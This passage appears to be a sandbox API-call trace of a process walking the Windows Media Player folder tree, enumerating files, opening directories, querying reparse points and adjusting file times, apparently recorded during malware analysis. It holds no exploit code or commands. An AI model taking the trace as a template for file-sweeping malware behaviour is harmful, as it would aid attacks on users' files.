Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.268] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPSideShowGadget.exe.mui", cAlternateFileName="")) returned 0 [0080.268] GetLastError () returned 0x12 [0080.268] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0080.268] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.268] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ccca7f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.268] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1 [0080.268] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xdc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe.mui", cAlternateFileName="")) returned 1 [0080.268] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe.mui", cAlternateFileName="")) returned 1 [0080.268] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMC.exe.mui", cAlternateFileName="")) returned 1 [0080.268] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMCCore.dll.mui", cAlternateFileName="")) returned 1 [0080.268] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfded41b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfded41b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe.mui", cAlternateFileName="")) returned 1 [0080.268] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll.mui", cAlternateFileName="")) returned 1 [0080.268] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnetwk.exe.mui", cAlternateFileName="")) returned 1 [0080.268] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnscfg.exe.mui", cAlternateFileName="")) returned 1 [0080.268] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll.mui", cAlternateFileName="")) returned 1 [0080.268] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 1 [0080.268] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPSideShowGadget.exe.mui", cAlternateFileName="")) returned 1 [0080.268] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPSideShowGadget.exe.mui", cAlternateFileName="")) returned 0 [0080.268] GetLastError () returned 0x12 [0080.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0080.269] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.270] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0080.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.270] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Icons" (normalized: "c:\\program files\\windows media player\\icons"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.273] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Icons" (normalized: "c:\\program files\\windows media player\\icons"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.274] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0080.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.274] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0080.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.274] NtClose (Handle=0x124) returned 0x0 [0080.274] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0080.274] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.275] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Icons\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0080.275] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.275] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0080.275] GetLastError () returned 0x12 [0080.275] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Icons\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0080.275] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.275] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.275] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0080.275] GetLastError () returned 0x12 [0080.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.275] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.275] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0080.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.276] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="")) returned 1 [0080.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.276] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer" (normalized: "c:\\program files\\windows media player\\media renderer"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.276] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer" (normalized: "c:\\program files\\windows media player\\media renderer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.276] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0080.276] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.276] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0080.276] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.277] NtClose (Handle=0x178) returned 0x0 [0080.277] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0080.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.277] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0080.279] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.279] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8adeec5d, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4d82, dwReserved0=0x0, dwReserved1=0x0, cFileName="avtransport.xml", cAlternateFileName="")) returned 1 [0080.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0080.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4450 [0080.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123b968 [0080.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.280] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b1f3147, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1 [0080.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4470 [0080.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123ba70 [0080.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.281] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828f4a85, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828f4a85, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1 [0080.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4490 [0080.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123c1a8 [0080.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.282] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828ce928, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828ce928, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_120.png", cAlternateFileName="")) returned 1 [0080.282] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f44b0 [0080.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123c4c0 [0080.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.284] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828a87cb, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828a87cb, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_48.jpg", cAlternateFileName="")) returned 1 [0080.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.284] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f44d0 [0080.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0080.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5d80) returned 0x12292f0 [0080.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124a7c8) returned 1 [0080.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.285] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898f4b97, ftCreationTime.dwHighDateTime=0x1c9ea0d, ftLastAccessTime.dwLowDateTime=0x898f4b97, ftLastAccessTime.dwHighDateTime=0x1c9ea0d, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x10a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMR_48.png", cAlternateFileName="")) returned 1 [0080.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.286] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.286] RtlFreeHeap (HeapHandle=0x940000, 